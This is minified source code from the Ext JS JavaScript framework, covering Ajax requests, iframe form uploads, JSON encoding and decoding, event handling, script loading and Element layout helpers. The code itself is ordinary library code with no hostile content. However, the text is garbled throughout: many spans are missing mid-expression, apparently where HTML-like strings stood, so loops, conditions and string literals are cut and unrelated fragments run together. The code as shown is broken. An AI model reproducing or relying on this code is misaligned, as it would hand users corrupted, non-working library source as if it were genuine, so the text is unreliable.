t=this;if(t.fireEvent(b,t,q)){if(q.el){if(!Ext.isEmpty(q.indicatorText)){t.indicatorText='
    '+q.indicatorText+"
    "}if(t.indicatorText){Ext.getDom(q.el).innerHTML=t.indicatorText}q.success=(Ext.isFunction(q.success)?q.success:function(){}).createInterceptor(function(o){Ext.getDom(q.el).innerHTML=o.responseText})}var m=q.params,l=q.url||t.url,k,r={success:t.handleResponse,failure:t.handleFailure,scope:t,argument:{options:q},timeout:Ext.num(q.timeout,t.timeout)},n,u;if(Ext.isFunction(m)){m=m.call(q.scope||g,q)}m=Ext.urlEncode(t.extraParams,Ext.isObject(m)?Ext.urlEncode(m):m);if(Ext.isFunction(l)){l=l.call(q.scope||g,q)}if((n=Ext.getDom(q.form))){l=l||n.action;if(q.isUpload||(/multipart\/form-data/i.test(n.getAttribute("enctype")))){return t.doFormUpload.call(t,q,m,l)}u=Ext.lib.Ajax.serializeForm(n);m=m?(m+"&"+u):u}k=q.method||t.method||((m||q.xmlData||q.jsonData)?i:a);if(k===a&&(t.disableCaching&&q.disableCaching!==false)||q.disableCaching===true){var s=q.disableCachingParam||t.disableCachingParam;l=Ext.urlAppend(l,s+"="+(new Date().getTime()))}q.headers=Ext.apply(q.headers||{},t.defaultHeaders||{});if(q.autoAbort===true||t.autoAbort){t.abort()}if((k==a||q.xmlData||q.jsonData)&&m){l=Ext.urlAppend(l,m);m=""}return(t.transId=Ext.lib.Ajax.request(k,l,r,m,q))}else{return q.callback?q.callback.apply(q.scope,[q,h,h]):null}},isLoading:function(k){return k?Ext.lib.Ajax.isCallInProgress(k):!!this.transId},abort:function(k){if(k||this.isLoading()){Ext.lib.Ajax.abort(k||this.transId)}},handleResponse:function(k){this.transId=false;var l=k.argument.options;k.argument=l?l.argument:null;this.fireEvent(e,this,k,l);if(l.success){l.success.call(l.scope,k,l)}if(l.callback){l.callback.call(l.scope,l,true,k)}},handleFailure:function(k,m){this.transId=false;var l=k.argument.options;k.argument=l?l.argument:null;this.fireEvent(d,this,k,l,m);if(l.failure){l.failure.call(l.scope,k,l)}if(l.callback){l.callback.call(l.scope,l,false,k)}},doFormUpload:function(r,k,l){var m=Ext.id(),w=document,s=w.createElement("iframe"),n=Ext.getDom(r.form),v=[],u,q="multipart/form-data",p={target:n.target,method:n.method,encoding:n.encoding,enctype:n.enctype,action:n.action};Ext.fly(s).set({id:m,name:m,cls:"x-hidden",src:Ext.SSL_SECURE_URL});w.body.appendChild(s);if(Ext.isIE){document.frames[m].name=m}Ext.fly(n).set({target:m,method:i,enctype:q,encoding:q,action:l||p.action});Ext.iterate(Ext.urlDecode(k,false),function(x,o){u=w.createElement("input");Ext.fly(u).set({type:"hidden",value:o,name:x});n.appendChild(u);v.push(u)});function t(){var y=this,x={responseText:"",responseXML:null,argument:r.argument},B,A;try{B=s.contentWindow.document||s.contentDocument||g.frames[m].document;if(B){if(B.body){if(/textarea/i.test((A=B.body.firstChild||{}).tagName)){x.responseText=A.value}else{x.responseText=B.body.innerHTML}}x.responseXML=B.XMLDocument||B}}catch(z){}Ext.EventManager.removeListener(s,c,t,y);y.fireEvent(e,y,x,r);function o(E,D,C){if(Ext.isFunction(E)){E.apply(D,C)}}o(r.success,r.scope,[x,r]);o(r.callback,r.scope,[r,true,x]);if(!y.debugUploads){setTimeout(function(){Ext.removeNode(s)},100)}}Ext.EventManager.on(s,c,t,this);n.submit();Ext.fly(n).set(p);Ext.each(v,function(o){Ext.removeNode(o)})}})})();Ext.Ajax=new Ext.data.Connection({autoAbort:false,serializeForm:function(a){return Ext.lib.Ajax.serializeForm(a)}});Ext.util.JSON=new (function(){var useHasOwn=!!{}.hasOwnProperty,isNative=function(){var useNative=null;return function(){if(useNative===null){useNative=Ext.USE_NATIVE_JSON&&window.JSON&&JSON.toString()=="[object JSON]"}return useNative}}(),pad=function(n){return n<10?"0"+n:n},doDecode=function(json){return eval("("+json+")")},doEncode=function(o){if(!Ext.isDefined(o)||o===null){return"null"}else{if(Ext.isArray(o)){return encodeArray(o)}else{if(Ext.isDate(o)){return Ext.util.JSON.encodeDate(o)}else{if(Ext.isString(o)){return encodeString(o)}else{if(typeof o=="number"){return isFinite(o)?String(o):"null"}else{if(Ext.isBoolean(o)){return String(o)}else{var a=["{"],b,i,v;for(i in o){if(!o.getElementsByTagName){if(!useHasOwn||o.hasOwnProperty(i)){v=o[i];switch(typeof v){case"undefined":case"function":case"unknown":break;default:if(b){a.push(",")}a.push(doEncode(i),":",v===null?"null":doEncode(v));b=true}}}}a.push("}");return a.join("")}}}}}}},m={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},encodeString=function(s){if(/["\\\x00-\x1f]/.test(s)){return'"'+s.replace(/([\x00-\x1f\\"])/g,function(a,b){var c=m[b];if(c){return c}c=b.charCodeAt();return"\\u00"+Math.floor(c/16).toString(16)+(c%16).toString(16)})+'"'}return'"'+s+'"'},encodeArray=function(o){var a=["["],b,i,l=o.length,v;for(i=0;i
    ';e.body.appendChild(g);d=g.lastChild;if((c=e.defaultView)){if(c.getComputedStyle(g.firstChild.firstChild,null).marginRight!="0px"){b.correctRightMargin=false}if(c.getComputedStyle(d,null).backgroundColor!="transparent"){b.correctTransparentColor=false}}b.cssFloat=!!d.style.cssFloat;e.body.removeChild(g)};if(Ext.isReady){a()}else{Ext.onReady(a)}})();Ext.EventObject=function(){var b=Ext.lib.Event,c=/(dbl)?click/,a={3:13,63234:37,63235:39,63232:38,63233:40,63276:33,63277:34,63272:46,63273:36,63275:35},d=Ext.isIE?{1:0,4:1,2:2}:{0:0,1:1,2:2};Ext.EventObjectImpl=function(g){if(g){this.setEvent(g.browserEvent||g)}};Ext.EventObjectImpl.prototype={setEvent:function(h){var g=this;if(h==g||(h&&h.browserEvent)){return h}g.browserEvent=h;if(h){g.button=h.button?d[h.button]:(h.which?h.which-1:-1);if(c.test(h.type)&&g.button==-1){g.button=0}g.type=h.type;g.shiftKey=h.shiftKey;g.ctrlKey=h.ctrlKey||h.metaKey||false;g.altKey=h.altKey;g.keyCode=h.keyCode;g.charCode=h.charCode;g.target=b.getTarget(h);g.xy=b.getXY(h)}else{g.button=-1;g.shiftKey=false;g.ctrlKey=false;g.altKey=false;g.keyCode=0;g.charCode=0;g.target=null;g.xy=[0,0]}return g},stopEvent:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopEvent(e.browserEvent)}},preventDefault:function(){if(this.browserEvent){b.preventDefault(this.browserEvent)}},stopPropagation:function(){var e=this;if(e.browserEvent){if(e.browserEvent.type=="mousedown"){Ext.EventManager.stoppedMouseDownEvent.fire(e)}b.stopPropagation(e.browserEvent)}},getCharCode:function(){return this.charCode||this.keyCode},getKey:function(){return this.normalizeKey(this.keyCode||this.charCode)},normalizeKey:function(e){return Ext.isSafari?(a[e]||e):e},getPageX:function(){return this.xy[0]},getPageY:function(){return this.xy[1]},getXY:function(){return this.xy},getTarget:function(g,h,e){return g?Ext.fly(this.target).findParent(g,h,e):(e?Ext.get(this.target):this.target)},getRelatedTarget:function(){return this.browserEvent?b.getRelatedTarget(this.browserEvent):null},getWheelDelta:function(){var g=this.browserEvent;var h=0;if(g.wheelDelta){h=g.wheelDelta/120}else{if(g.detail){h=-g.detail/3}}return h},within:function(h,i,e){if(h){var g=this[i?"getRelatedTarget":"getTarget"]();return g&&((e?(g==Ext.getDom(h)):false)||Ext.fly(h).contains(g))}return false}};return new Ext.EventObjectImpl()}();Ext.Loader=Ext.apply({},{load:function(k,i,l,c){var l=l||this,g=document.getElementsByTagName("head")[0],b=document.createDocumentFragment(),a=k.length,h=0,e=this;var m=function(n){g.appendChild(e.buildScriptTag(k[n],d))};var d=function(){h++;if(a==h&&typeof i=="function"){i.call(l)}else{if(c===true){m(h)}}};if(c===true){m.call(this,0)}else{Ext.each(k,function(o,n){b.appendChild(this.buildScriptTag(o,d))},this);g.appendChild(b)}},buildScriptTag:function(b,c){var a=document.createElement("script");a.type="text/javascript";a.src=b;if(a.readyState){a.onreadystatechange=function(){if(a.readyState=="loaded"||a.readyState=="complete"){a.onreadystatechange=null;c()}}}else{a.onload=c}return a}});Ext.ns("Ext.grid","Ext.list","Ext.dd","Ext.tree","Ext.form","Ext.menu","Ext.state","Ext.layout","Ext.app","Ext.ux","Ext.chart","Ext.direct");Ext.apply(Ext,function(){var c=Ext,a=0,b=null;return{emptyFn:function(){},BLANK_IMAGE_URL:Ext.isIE6||Ext.isIE7||Ext.isAir?"http://www.extjs.com/s.gif":"data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==",extendX:function(d,e){return Ext.extend(d,e(d.prototype))},getDoc:function(){return Ext.get(document)},num:function(e,d){e=Number(Ext.isEmpty(e)||Ext.isArray(e)||typeof e=="boolean"||(typeof e=="string"&&e.trim().length==0)?NaN:e);return isNaN(e)?d:e},value:function(g,d,e){return Ext.isEmpty(g,e)?d:g},escapeRe:function(d){return d.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1")},sequence:function(h,d,g,e){h[d]=h[d].createSequence(g,e)},addBehaviors:function(i){if(!Ext.isReady){Ext.onReady(function(){Ext.addBehaviors(i)})}else{var e={},h,d,g;for(d in i){if((h=d.split("@"))[1]){g=h[0];if(!e[g]){e[g]=Ext.select(g)}e[g].on(h[1],i[d])}}e=null}},getScrollBarWidth:function(g){if(!Ext.isReady){return 0}if(g===true||b===null){var i=Ext.getBody().createChild('
    '),h=i.child("div",true);var e=h.offsetWidth;i.setStyle("overflow",(Ext.isWebKit||Ext.isGecko)?"auto":"scroll");var d=h.offsetWidth;i.remove();b=e-d+2}return b},combine:function(){var g=arguments,e=g.length,k=[];for(var h=0;hh?1:-1};Ext.each(d,function(h){g=e(g,h)==1?g:h});return g},mean:function(d){return d.length>0?Ext.sum(d)/d.length:undefined},sum:function(d){var e=0;Ext.each(d,function(g){e+=g});return e},partition:function(d,e){var g=[[],[]];Ext.each(d,function(k,l,h){g[(e&&e(k,l,h))||(!e&&k)?0:1].push(k)});return g},invoke:function(d,e){var h=[],g=Array.prototype.slice.call(arguments,2);Ext.each(d,function(k,l){if(k&&typeof k[e]=="function"){h.push(k[e].apply(k,g))}else{h.push(undefined)}});return h},pluck:function(d,g){var e=[];Ext.each(d,function(h){e.push(h[g])});return e},zip:function(){var n=Ext.partition(arguments,function(i){return typeof i!="function"}),k=n[0],m=n[1][0],d=Ext.max(Ext.pluck(k,"length")),h=[];for(var l=0;l=a.left&&b.right<=a.right&&b.top>=a.top&&b.bottom<=a.bottom)},getArea:function(){var a=this;return((a.bottom-a.top)*(a.right-a.left))},intersect:function(h){var g=this,d=Math.max(g.top,h.top),e=Math.min(g.right,h.right),a=Math.min(g.bottom,h.bottom),c=Math.max(g.left,h.left);if(a>=d&&e>=c){return new Ext.lib.Region(d,e,a,c)}},union:function(h){var g=this,d=Math.min(g.top,h.top),e=Math.max(g.right,h.right),a=Math.max(g.bottom,h.bottom),c=Math.min(g.left,h.left);return new Ext.lib.Region(d,e,a,c)},constrainTo:function(b){var a=this;a.top=a.top.constrain(b.top,b.bottom);a.bottom=a.bottom.constrain(b.top,b.bottom);a.left=a.left.constrain(b.left,b.right);a.right=a.right.constrain(b.left,b.right);return a},adjust:function(d,c,a,g){var e=this;e.top+=d;e.left+=c;e.right+=g;e.bottom+=a;return e}};Ext.lib.Region.getRegion=function(e){var h=Ext.lib.Dom.getXY(e),d=h[1],g=h[0]+e.offsetWidth,a=h[1]+e.offsetHeight,c=h[0];return new Ext.lib.Region(d,g,a,c)};Ext.lib.Point=function(a,c){if(Ext.isArray(a)){c=a[1];a=a[0]}var b=this;b.x=b.right=b.left=b[0]=a;b.y=b.top=b.bottom=b[1]=c};Ext.lib.Point.prototype=new Ext.lib.Region();Ext.apply(Ext.DomHelper,function(){var e,a="afterbegin",h="afterend",i="beforebegin",d="beforeend",b=/tag|children|cn|html$/i;function g(n,q,p,r,m,k){n=Ext.getDom(n);var l;if(e.useDom){l=c(q,null);if(k){n.appendChild(l)}else{(m=="firstChild"?n:n.parentNode).insertBefore(l,n[m]||n)}}else{l=Ext.DomHelper.insertHtml(r,n,Ext.DomHelper.createHtml(q))}return p?Ext.get(l,true):l}function c(k,s){var m,v=document,q,t,n,u;if(Ext.isArray(k)){m=v.createDocumentFragment();for(var r=0,p=k.length;r0){return setTimeout(d,c)}d();return 0},createSequence:function(c,b,a){if(!Ext.isFunction(b)){return c}else{return function(){var d=c.apply(this||window,arguments);b.apply(a||this||window,arguments);return d}}}};Ext.defer=Ext.util.Functions.defer;Ext.createInterceptor=Ext.util.Functions.createInterceptor;Ext.createSequence=Ext.util.Functions.createSequence;Ext.createDelegate=Ext.util.Functions.createDelegate;Ext.apply(Ext.util.Observable.prototype,function(){function a(k){var i=(this.methodEvents=this.methodEvents||{})[k],d,c,g,h=this;if(!i){this.methodEvents[k]=i={};i.originalFn=this[k];i.methodName=k;i.before=[];i.after=[];var b=function(m,l,e){if((c=m.apply(l||h,e))!==undefined){if(typeof c=="object"){if(c.returnValue!==undefined){d=c.returnValue}else{d=c}g=!!c.cancel}else{if(c===false){g=true}else{d=c}}}};this[k]=function(){var m=Array.prototype.slice.call(arguments,0),l;d=c=undefined;g=false;for(var n=0,e=i.before.length;n=525:!((Ext.isGecko&&!Ext.isWindows)||Ext.isOpera);return{doResizeEvent:function(){var m=a.getViewHeight(),l=a.getViewWidth();if(g!=m||h!=l){c.fire(h=l,g=m)}},onWindowResize:function(n,m,l){if(!c){c=new Ext.util.Event();k=new Ext.util.DelayedTask(this.doResizeEvent);Ext.EventManager.on(window,"resize",this.fireWindowResize,this)}c.addListener(n,m,l)},fireWindowResize:function(){if(c){k.delay(100)}},onTextResize:function(o,n,l){if(!e){e=new Ext.util.Event();var m=new Ext.Element(document.createElement("div"));m.dom.className="x-text-resize";m.dom.innerHTML="X";m.appendTo(document.body);b=m.dom.offsetHeight;setInterval(function(){if(m.dom.offsetHeight!=b){e.fire(b,b=m.dom.offsetHeight)}},this.textResizeInterval)}e.addListener(o,n,l)},removeResizeListener:function(m,l){if(c){c.removeListener(m,l)}},fireResize:function(){if(c){c.fire(a.getViewWidth(),a.getViewHeight())}},textResizeInterval:50,ieDeferSrc:false,getKeyEvent:function(){return d?"keydown":"keypress"},useKeydown:d}}());Ext.EventManager.on=Ext.EventManager.addListener;Ext.apply(Ext.EventObjectImpl.prototype,{BACKSPACE:8,TAB:9,NUM_CENTER:12,ENTER:13,RETURN:13,SHIFT:16,CTRL:17,CONTROL:17,ALT:18,PAUSE:19,CAPS_LOCK:20,ESC:27,SPACE:32,PAGE_UP:33,PAGEUP:33,PAGE_DOWN:34,PAGEDOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,PRINT_SCREEN:44,INSERT:45,DELETE:46,ZERO:48,ONE:49,TWO:50,THREE:51,FOUR:52,FIVE:53,SIX:54,SEVEN:55,EIGHT:56,NINE:57,A:65,B:66,C:67,D:68,E:69,F:70,G:71,H:72,I:73,J:74,K:75,L:76,M:77,N:78,O:79,P:80,Q:81,R:82,S:83,T:84,U:85,V:86,W:87,X:88,Y:89,Z:90,CONTEXT_MENU:93,NUM_ZERO:96,NUM_ONE:97,NUM_TWO:98,NUM_THREE:99,NUM_FOUR:100,NUM_FIVE:101,NUM_SIX:102,NUM_SEVEN:103,NUM_EIGHT:104,NUM_NINE:105,NUM_MULTIPLY:106,NUM_PLUS:107,NUM_MINUS:109,NUM_PERIOD:110,NUM_DIVISION:111,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,isNavKeyPress:function(){var b=this,a=this.normalizeKey(b.keyCode);return(a>=33&&a<=40)||a==b.RETURN||a==b.TAB||a==b.ESC},isSpecialKey:function(){var a=this.normalizeKey(this.keyCode);return(this.type=="keypress"&&this.ctrlKey)||this.isNavKeyPress()||(a==this.BACKSPACE)||(a>=16&&a<=20)||(a>=44&&a<=46)},getPoint:function(){return new Ext.lib.Point(this.xy[0],this.xy[1])},hasModifier:function(){return((this.ctrlKey||this.altKey)||this.shiftKey)}});Ext.Element.addMethods({swallowEvent:function(a,b){var d=this;function c(g){g.stopPropagation();if(b){g.preventDefault()}}if(Ext.isArray(a)){Ext.each(a,function(g){d.on(g,c)});return d}d.on(a,c);return d},relayEvent:function(a,b){this.on(a,function(c){b.fireEvent(a,c)})},clean:function(b){var d=this,e=d.dom,g=e.firstChild,c=-1;if(Ext.Element.data(e,"isCleaned")&&b!==true){return d}while(g){var a=g.nextSibling;if(g.nodeType==3&&!(/\S/.test(g.nodeValue))){e.removeChild(g)}else{g.nodeIndex=++c}g=a}Ext.Element.data(e,"isCleaned",true);return d},load:function(){var a=this.getUpdater();a.update.apply(a,arguments);return this},getUpdater:function(){return this.updateManager||(this.updateManager=new Ext.Updater(this))},update:function(html,loadScripts,callback){if(!this.dom){return this}html=html||"";if(loadScripts!==true){this.dom.innerHTML=html;if(typeof callback=="function"){callback()}return this}var id=Ext.id(),dom=this.dom;html+='';Ext.lib.Event.onAvailable(id,function(){var DOC=document,hd=DOC.getElementsByTagName("head")[0],re=/(?:]*)?>)((\n|\r|.)*?)(?:<\/script>)/ig,srcRe=/\ssrc=([\'\"])(.*?)\1/i,typeRe=/\stype=([\'\"])(.*?)\1/i,match,attrs,srcMatch,typeMatch,el,s;while((match=re.exec(html))){attrs=match[1];srcMatch=attrs?attrs.match(srcRe):false;if(srcMatch&&srcMatch[2]){s=DOC.createElement("script");s.src=srcMatch[2];typeMatch=attrs.match(typeRe);if(typeMatch&&typeMatch[2]){s.type=typeMatch[2]}hd.appendChild(s)}else{if(match[2]&&match[2].length>0){if(window.execScript){window.execScript(match[2])}else{window.eval(match[2])}}}}el=DOC.getElementById(id);if(el){Ext.removeNode(el)}if(typeof callback=="function"){callback()}});dom.innerHTML=html.replace(/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,"");return this},removeAllListeners:function(){this.removeAnchor();Ext.EventManager.removeAll(this.dom);return this},createProxy:function(a,e,d){a=(typeof a=="object")?a:{tag:"div",cls:a};var c=this,b=e?Ext.DomHelper.append(e,a,true):Ext.DomHelper.insertBefore(c.dom,a,true);if(d&&c.setBox&&c.getBox){b.setBox(c.getBox())}return b}});Ext.Element.prototype.getUpdateManager=Ext.Element.prototype.getUpdater;Ext.Element.addMethods({getAnchorXY:function(e,m,t){e=(e||"tl").toLowerCase();t=t||{};var l=this,b=l.dom==document.body||l.dom==document,p=t.width||b?Ext.lib.Dom.getViewWidth():l.getWidth(),i=t.height||b?Ext.lib.Dom.getViewHeight():l.getHeight(),q,a=Math.round,c=l.getXY(),n=l.getScroll(),k=b?n.left:!m?c[0]:0,g=b?n.top:!m?c[1]:0,d={c:[a(p*0.5),a(i*0.5)],t:[a(p*0.5),0],l:[0,a(i*0.5)],r:[p,a(i*0.5)],b:[a(p*0.5),i],tl:[0,0],bl:[0,i],br:[p,i],tr:[p,0]};q=d[e];return[q[0]+k,q[1]+g]},anchorTo:function(b,h,c,a,l,m){var i=this,e=i.dom,k=!Ext.isEmpty(l),d=function(){Ext.fly(e).alignTo(b,h,c,a);Ext.callback(m,Ext.fly(e))},g=this.getAnchor();this.removeAnchor();Ext.apply(g,{fn:d,scroll:k});Ext.EventManager.onWindowResize(d,null);if(k){Ext.EventManager.on(window,"scroll",d,null,{buffer:!isNaN(l)?l:50})}d.call(i);return i},removeAnchor:function(){var b=this,a=this.getAnchor();if(a&&a.fn){Ext.EventManager.removeResizeListener(a.fn);if(a.scroll){Ext.EventManager.un(window,"scroll",a.fn)}delete a.fn}return b},getAnchor:function(){var b=Ext.Element.data,c=this.dom;if(!c){return}var a=b(c,"_anchor");if(!a){a=b(c,"_anchor",{})}return a},getAlignToXY:function(g,B,C){g=Ext.get(g);if(!g||!g.dom){throw"Element.alignToXY with an element that doesn't exist"}C=C||[0,0];B=(!B||B=="?"?"tl-bl?":(!(/-/).test(B)&&B!==""?"tl-"+B:B||"tl-bl")).toLowerCase();var L=this,I=L.dom,N,M,q,n,t,G,z,u=Ext.lib.Dom.getViewWidth()-10,H=Ext.lib.Dom.getViewHeight()-10,b,i,k,l,v,A,O=document,K=O.documentElement,s=O.body,F=(K.scrollLeft||s.scrollLeft||0)+5,E=(K.scrollTop||s.scrollTop||0)+5,J=false,e="",a="",D=B.match(/^([a-z]+)-([a-z]+)(\?)?$/);if(!D){throw"Element.alignTo with an invalid alignment "+B}e=D[1];a=D[2];J=!!D[3];N=L.getAnchorXY(e,true);M=g.getAnchorXY(a,false);q=M[0]-N[0]+C[0];n=M[1]-N[1]+C[1];if(J){t=L.getWidth();G=L.getHeight();z=g.getRegion();b=e.charAt(0);i=e.charAt(e.length-1);k=a.charAt(0);l=a.charAt(a.length-1);v=((b=="t"&&k=="b")||(b=="b"&&k=="t"));A=((i=="r"&&l=="l")||(i=="l"&&l=="r"));if(q+t>u+F){q=A?z.left-t:u+F-t}if(qH+E){n=v?z.top-G:H+E-G}if(nC){q=C-r;n=true}if((p+D)>g){p=g-D;n=true}if(q"+String.format(Ext.Element.boxMarkup,c)+"
    "));Ext.DomQuery.selectNode("."+c+"-mc",d.dom).appendChild(this.dom);return d},setSize:function(e,c,d){var g=this;if(typeof e=="object"){c=e.height;e=e.width}e=g.adjustWidth(e);c=g.adjustHeight(c);if(!d||!g.anim){g.dom.style.width=g.addUnits(e);g.dom.style.height=g.addUnits(c)}else{g.anim({width:{to:e},height:{to:c}},g.preanim(arguments,2))}return g},getComputedHeight:function(){var d=this,c=Math.max(d.dom.offsetHeight,d.dom.clientHeight);if(!c){c=parseFloat(d.getStyle("height"))||0;if(!d.isBorderBox()){c+=d.getFrameWidth("tb")}}return c},getComputedWidth:function(){var c=Math.max(this.dom.offsetWidth,this.dom.clientWidth);if(!c){c=parseFloat(this.getStyle("width"))||0;if(!this.isBorderBox()){c+=this.getFrameWidth("lr")}}return c},getFrameWidth:function(d,c){return c&&this.isBorderBox()?0:(this.getPadding(d)+this.getBorderWidth(d))},addClassOnOver:function(c){this.hover(function(){Ext.fly(this,a).addClass(c)},function(){Ext.fly(this,a).removeClass(c)});return this},addClassOnFocus:function(c){this.on("focus",function(){Ext.fly(this,a).addClass(c)},this.dom);this.on("blur",function(){Ext.fly(this,a).removeClass(c)},this.dom);return this},addClassOnClick:function(c){var d=this.dom;this.on("mousedown",function(){Ext.fly(d,a).addClass(c);var g=Ext.getDoc(),e=function(){Ext.fly(d,a).removeClass(c);g.removeListener("mouseup",e)};g.on("mouseup",e)});return this},getViewSize:function(){var g=document,h=this.dom,c=(h==g||h==g.body);if(c){var e=Ext.lib.Dom;return{width:e.getViewWidth(),height:e.getViewHeight()}}else{return{width:h.clientWidth,height:h.clientHeight}}},getStyleSize:function(){var k=this,c,i,m=document,n=this.dom,e=(n==m||n==m.body),g=n.style;if(e){var l=Ext.lib.Dom;return{width:l.getViewWidth(),height:l.getViewHeight()}}if(g.width&&g.width!="auto"){c=parseFloat(g.width);if(k.isBorderBox()){c-=k.getFrameWidth("lr")}}if(g.height&&g.height!="auto"){i=parseFloat(g.height);if(k.isBorderBox()){i-=k.getFrameWidth("tb")}}return{width:c||k.getWidth(true),height:i||k.getHeight(true)}},getSize:function(c){return{width:this.getWidth(c),height:this.getHeight(c)}},repaint:function(){var c=this.dom;this.addClass("x-repaint");setTimeout(function(){Ext.fly(c).removeClass("x-repaint")},1);return this},unselectable:function(){this.dom.unselectable="on";return this.swallowEvent("selectstart",true).applyStyles("-moz-user-select:none;-khtml-user-select:none;").addClass("x-unselectable")},getMargins:function(d){var e=this,c,g={t:"top",l:"left",r:"right",b:"bottom"},h={};if(!d){for(c in e.margins){h[g[c]]=parseFloat(e.getStyle(e.margins[c]))||0}return h}else{return e.addStyles.call(e,d,e.margins)}}}}());Ext.Element.addMethods({setBox:function(e,g,b){var d=this,a=e.width,c=e.height;if((g&&!d.autoBoxAdjust)&&!d.isBorderBox()){a-=(d.getBorderWidth("lr")+d.getPadding("lr"));c-=(d.getBorderWidth("tb")+d.getPadding("tb"))}d.setBounds(e.x,e.y,a,c,d.animTest.call(d,arguments,b,2));return d},getBox:function(k,q){var n=this,x,e,p,d=n.getBorderWidth,s=n.getPadding,g,a,v,o;if(!q){x=n.getXY()}else{e=parseInt(n.getStyle("left"),10)||0;p=parseInt(n.getStyle("top"),10)||0;x=[e,p]}var c=n.dom,u=c.offsetWidth,i=c.offsetHeight,m;if(!k){m={x:x[0],y:x[1],0:x[0],1:x[1],width:u,height:i}}else{g=d.call(n,"l")+s.call(n,"l");a=d.call(n,"r")+s.call(n,"r");v=d.call(n,"t")+s.call(n,"t");o=d.call(n,"b")+s.call(n,"b");m={x:x[0]+g,y:x[1]+v,0:x[0]+g,1:x[1]+v,width:u-(g+a),height:i-(v+o)}}m.right=m.x+m.width;m.bottom=m.y+m.height;return m},move:function(k,b,c){var g=this,n=g.getXY(),l=n[0],i=n[1],d=[l-b,i],m=[l+b,i],h=[l,i-b],a=[l,i+b],e={l:d,left:d,r:m,right:m,t:h,top:h,up:h,b:a,bottom:a,down:a};k=k.toLowerCase();g.moveTo(e[k][0],e[k][1],g.animTest.call(g,arguments,c,2))},setLeftTop:function(d,c){var b=this,a=b.dom.style;a.left=b.addUnits(d);a.top=b.addUnits(c);return b},getRegion:function(){return Ext.lib.Dom.getRegion(this.dom)},setBounds:function(b,g,d,a,c){var e=this;if(!c||!e.anim){e.setSize(d,a);e.setLocation(b,g)}else{e.anim({points:{to:[b,g]},width:{to:e.adjustWidth(d)},height:{to:e.adjustHeight(a)}},e.preanim(arguments,4),"motion")}return e},setRegion:function(b,a){return this.setBounds(b.left,b.top,b.right-b.left,b.bottom-b.top,this.animTest.call(this,arguments,a,1))}});Ext.Element.addMethods({scrollTo:function(b,d,a){var e=/top/i.test(b),c=this,g=c.dom,h;if(!a||!c.anim){h="scroll"+(e?"Top":"Left");g[h]=d}else{h="scroll"+(e?"Left":"Top");c.anim({scroll:{to:e?[g[h],d]:[d,g[h]]}},c.preanim(arguments,2),"scroll")}return c},scrollIntoView:function(e,i){var q=Ext.getDom(e)||Ext.getBody().dom,h=this.dom,g=this.getOffsetsTo(q),m=g[0]+q.scrollLeft,v=g[1]+q.scrollTop,s=v+h.offsetHeight,d=m+h.offsetWidth,a=q.clientHeight,n=parseInt(q.scrollTop,10),u=parseInt(q.scrollLeft,10),k=n+a,p=u+q.clientWidth;if(h.offsetHeight>a||vk){q.scrollTop=s-a}}q.scrollTop=q.scrollTop;if(i!==false){if(h.offsetWidth>q.clientWidth||mp){q.scrollLeft=d-q.clientWidth}}q.scrollLeft=q.scrollLeft}return this},scrollChildIntoView:function(b,a){Ext.fly(b,"_scrollChildIntoView").scrollIntoView(this,a)},scroll:function(n,b,d){if(!this.isScrollable()){return false}var e=this.dom,g=e.scrollLeft,q=e.scrollTop,o=e.scrollWidth,m=e.scrollHeight,i=e.clientWidth,a=e.clientHeight,c=false,p,k={l:Math.min(g+b,o-i),r:p=Math.max(g-b,0),t:Math.max(q-b,0),b:Math.min(q+b,m-a)};k.d=k.b;k.u=k.t;n=n.substr(0,1);if((p=k[n])>-1){c=true;this.scrollTo(n=="l"||n=="r"?"left":"top",p,this.preanim(arguments,2))}return c}});Ext.Element.addMethods(function(){var d="visibility",b="display",a="hidden",h="none",c="x-masked",g="x-masked-relative",e=Ext.Element.data;return{isVisible:function(i){var k=!this.isStyle(d,a)&&!this.isStyle(b,h),l=this.dom.parentNode;if(i!==true||!k){return k}while(l&&!(/^body/i.test(l.tagName))){if(!Ext.fly(l,"_isVisible").isVisible()){return false}l=l.parentNode}return true},isDisplayed:function(){return !this.isStyle(b,h)},enableDisplayMode:function(i){this.setVisibilityMode(Ext.Element.DISPLAY);if(!Ext.isEmpty(i)){e(this.dom,"originalDisplay",i)}return this},mask:function(k,o){var q=this,m=q.dom,p=Ext.DomHelper,n="ext-el-mask-msg",i,r;if(!(/^body/i.test(m.tagName)&&q.getStyle("position")=="static")){q.addClass(g)}if(i=e(m,"maskMsg")){i.remove()}if(i=e(m,"mask")){i.remove()}r=p.append(m,{cls:"ext-el-mask"},true);e(m,"mask",r);q.addClass(c);r.setDisplayed(true);if(typeof k=="string"){var l=p.append(m,{cls:n,cn:{tag:"div"}},true);e(m,"maskMsg",l);l.dom.className=o?n+" "+o:n;l.dom.firstChild.innerHTML=k;l.setDisplayed(true);l.center(q)}if(Ext.isIE&&!(Ext.isIE7&&Ext.isStrict)&&q.getStyle("height")=="auto"){r.setSize(undefined,q.getHeight())}return r},unmask:function(){var l=this,m=l.dom,i=e(m,"mask"),k=e(m,"maskMsg");if(i){if(k){k.remove();e(m,"maskMsg",undefined)}i.remove();e(m,"mask",undefined);l.removeClass([c,g])}},isMasked:function(){var i=e(this.dom,"mask");return i&&i.isVisible()},createShim:function(){var i=document.createElement("iframe"),k;i.frameBorder="0";i.className="ext-shim";i.src=Ext.SSL_SECURE_URL;k=Ext.get(this.dom.parentNode.insertBefore(i,this.dom));k.autoBoxAdjust=false;return k}}}());Ext.Element.addMethods({addKeyListener:function(b,d,c){var a;if(typeof b!="object"||Ext.isArray(b)){a={key:b,fn:d,scope:c}}else{a={key:b.key,shift:b.shift,ctrl:b.ctrl,alt:b.alt,fn:d,scope:c}}return new Ext.KeyMap(this,a)},addKeyMap:function(a){return new Ext.KeyMap(this,a)}});Ext.CompositeElementLite.importElementMethods();Ext.apply(Ext.CompositeElementLite.prototype,{addElements:function(c,a){if(!c){return this}if(typeof c=="string"){c=Ext.Element.selectorFunction(c,a)}var 